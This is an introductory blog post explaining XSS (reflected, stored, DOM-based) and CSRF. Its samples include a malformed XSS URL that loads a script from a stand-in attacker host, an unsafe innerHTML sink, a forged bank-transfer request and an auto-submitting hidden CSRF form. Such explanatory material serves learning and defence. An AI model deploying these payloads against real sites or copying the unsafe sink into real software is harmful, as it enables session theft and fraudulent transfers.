Introduction

The purpose of this post is to improve my understanding of the common web vulnerabilities. I will define and provide some contextual and code examples. Discussed vulnerabilities are cross-site scripting (XSS) and cross-site request forgery (CSRF).

XSS:

Cross-site scripting occurs when a hacker finds a vulnerability in a client application that allows them to inject a malicious script in order to steal a user's session information. This stolen session information allows the hacker to act as the victim.

Reflected XSS (Not Persistent):

If a hacker discovers that an application poorly sanitizes user input, they can inject a malicious script into the form which would appear in a URL parameter. Now they can do some social engineering tactics such as a Trojan link and send it to the masses in hopes that a poor victim will click the link and activate the script. Reflected XSS is not persistent because the script isn't saved to the application's database.

https://forumsite.com/q=<script>alert('I am a hacker')</script>%20src="http://iamhacker.com/steal-information.js"

Stored XSS (Persistent):

Similar to a reflected attack, but here the poorly sanitized input will be saved to the application's database. Now future responses from the server will send the malicious script to the client to run on their machines. This is the most effective XSS attack and a significantly greater vulnerability for the end-user.

DOM-based XSS:

This attack uses the DOM as the means of malicious intent, more specifically a "sink DOM". The hacker can propagate a malicious script via the application's Javascript code. This attack also employs the Trojan link tactic and the link will propagate the "sink DOM". This vulnerability is also due to the application developer's poor implementation of form sanitization.

// Attacker can inject malicious JavaScript in the "comment" variable
function displayUserComment(comment) {
  document.getElementById("comment-section").innerHTML = comment; 
}

CSRF (XSRF):

A hacker uses CSRF to forge authenticated requests to a target application.

For an application to be vulnerable it would have to have:

1. Authentication that SOLELY relies on session cookies.

2. NO safeguards for users, such as re-entering a passcode in order to change the passcode.

The hacker will once again have to apply social engineering tactics to get the user to click on their ill-purposed link. The hostname (domain) of the hacker's link is likely to be that of the target application's, with the necessary parameters ready to be sent. All the hacker needs is the user's logged in session cookie to authenticate the request. All of this work requires the hacker to have some knowledge of the target application's code. Hackers can also phish users by creating their own HTML page containing the malicious link.

Forged request:

POST /transfer HTTP/1.1
Host: www.bank.com
Content-Type: application/x-www-form-urlencoded
Cookie: session_id=abc123;   <-- Authenticated session cookie

to=hackerAccount&amount=1000

A hidden form with a forged request:

<form action="https://bank.com/transfer" method="POST">
  <input type="hidden" name="amount" value="100000">
  <input type="hidden" name="to_account" value="hacker_account">
  <input type="submit" value="Submit">
</form>
<script>
  document.forms[0].submit(); // Automatically submits the form when the page loads
</script>